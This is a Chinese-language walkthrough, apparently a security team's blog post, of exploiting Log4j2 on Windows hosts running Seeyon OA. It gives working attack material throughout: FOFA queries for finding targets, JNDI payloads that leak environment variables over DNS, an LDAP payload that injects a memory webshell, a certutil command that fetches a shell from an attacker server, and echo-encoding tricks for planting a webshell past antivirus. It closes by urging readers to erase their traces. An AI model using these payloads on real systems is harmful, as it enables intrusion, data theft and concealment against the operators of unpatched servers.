windows系统下log4j2漏洞的后渗透

0x00

前言

在近期挖洞过程中，遇到很多window系统下的log4j2漏洞环境。在大多数时候都是简单的漏洞验证，漏洞的后续利用一直尝试未果。带着这个执念，开始研究log4j2的后续利用。

0x01

挖洞中遇到存在log4j2远程命令执行漏洞的较多的就是致远OA，无论是致远A6还是A8，十个致远OA里总能找到一两个存在漏洞的（挖洞人狂喜！）。

由于致远OA并不开源，所以在目标范围中通过fofa上找到一名的致远用户

fofa引擎搜索语法：
app="致远互联-OA"
app="致远A8"
app="致远A6"
...

被插件检测到，就决定是你了

强烈安利
log4j2burpscanner检测插件
项目地址：
https://github.com/Jeromeyoung/log4j2burpscanner

访问这个站看下，是一个致远A8

漏洞验证

验证log4j2很简单，漏洞原理在此就不赘述了。

判断操作系统

判断操作系统的方法有很多，这里分享一种我常用的

例如
${jndi:dns://${env:OS}.dnslog.com}  //Windows查看系统版本
${jndi:dns://${env:USERNAME}.dnslog.com}  //windows查看当前用户

再分享一些log4j2可以执行的命令

log4j-java

ID	usage	method
1	${java:version}	getSystemProperty("java.version")
2	${java:runtime}	getRuntime()
3	${java:vm}	getVirtualMachine()
4	${java:os}	getOperatingSystem()
5	${java:hw}	getHardware()
6	${java:locale}	getLocale()

Linux

id	usage
1	${env:CLASSPATH}
2	${env:HOME}
3	${env:JAVA_HOME}
4	${env:LANG}
5	${env:LOGNAME}
6	${env:MAIL}
7	${env:PATH}
8	${env:PWD}
9	${env:SHELL}
10	${env:USER}

Windows

id	usage
1	${env:A8_HOME}
2	${env:A8_ROOT_BIN}
3	${env:CLASSPATH}
4	${env:JRE_HOME}
5	${env:Java_Home}
6	${env:LOGONSERVER}
7	${env:OS}
8	${env:Path}
9	${env:USERDOMAIN}
10	${env:USERNAME}

log4j2-sys

id	usage
1	${sys:java.version}
2	${sys:os.name}
3	${sys:os.version}
4	${sys:user.name}

命令执行

在致远OA的环境下，我们可以通过注入内存马进行命令执行

使用JNDI注入工具

下载地址：https://github.com/Jeromeyoung/JNDIExploit-1

1.在vps上使用工具启动服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -u //该命令可以列举JNDI注入的利用链

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps公网地址 -l port -p port //-l 指定ladp服务端口 -p 指定HTTP服务端口

2.使用注入内存马的exp

${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatMemshell111}

https://ip/seeyon/anything?type=basic&pass=ipconfig

后渗透

在可以命令执行后，想要进一步获取服务器权限，这里我想到两种思路：一是下载公网服务器的shell文件或者exe直接上线；二是直接写入webshell。思路清晰，直接开冲！

思路一

在公网开启http服务，让目标服务器下载我们公网服务器的文件

使用命令执行curl一下我的公网地址看看能不能访问（竟然没回显，不过没关系我们继续）

windows自带的certutil工具可以下载远程服务器上的文件，尝试下载shell文件

certutil.exe -urlcache -split -f http://x.x.x.x/shell.jsp

果不其然还是报错

我们看一下有没有下载成功

OK，下载失败，我们直接跑路尝试其他思路。

思路二

直接写入webshell，这种办法简单粗暴，但也是坑点最多的地方。

坑点一

本着谨慎的态度，我打算先传个txt试试水。（当然要先找对上传位置..webappsseeyon）

echo 111 >..webappsseeyontest.txt

看看是否创建成功

访问test.txt，也没啥毛病

做到这一步的时候我已经激动的不行了，直接整个jsp写个shell进去！

执行完命令看到没报错的时候，我已经慌了，看眼写进去没。emmmmm，果然没有

坑点二

就在我满头问号？？？的时候，某大佬对我进行了及时指导：“你把echo的内容base64编个码写上去，再把文件解码不就行了？certutil工具就可以实现编解码！”。我直接醍醐灌顶，开冲！

先是编解码

CertUtil -encode test.jsp test.txt   //编码
CertUtil -decode test.txt test.jsp   //解码

编码后的文件长这样

经过测试，发现去掉BEGIN和END以及换行是不影响解码的

这次一定成功！直接写入编码后的内容

看看有没有写进去，再访问一下

可以看到写入成功了，把txt文件解码输出jsp文件就成了

查看是否输出成功，怎么又失败了。。

正当我茫然不知所措的时候，大佬又点醒了我：“你看看是不是目标有杀软”。

破案了。。估计是certutil命令被阻止了，之前下载的操作估计也是一样。

坑点三

在写入shell这条路走不通后，时间也来到了下午六点，直接开摆等下班。这时闲来无事搜索了下echo命令，发现是有讲究的："<>"需要转义，否则会有与输入输出发生歧义的问题。举个例子：

赶紧把马子转义一下重新写入。

看看写上去没

？？？没有？那我再url编个码！

再看一眼，好起来了！

访问一下，nice！完美！

这次直接传个jsp，拿下拿下！

连接webshell（求求了一定要连上T.T）

wuhu~~拿下！

PS：记得清理痕迹！！！

0x02

后记

这一次艰难的探索之旅从年前就开始了，中途由于各种原因摆烂至今。如今终于在大佬们的帮助下攻克了。其实在注入内存马之前还有过其他的想法，比如：直接把上线cs的命令写在代码里打包class并让目标请求的离谱操作（当时看服务端确实有被请求，但是并没有上线，万恶的杀软！），好在大佬及时指点没有浪费太多时间。虽然解决了一个不值一提的问题，但还有点成就感的，对文章中有问题或者有异议的地方，也请大佬们纠错。和谐讨论，快乐渗透！多谢大噶~

原文始发于微信公众号（雁行安全团队）：windows系统下log4j2漏洞的后渗透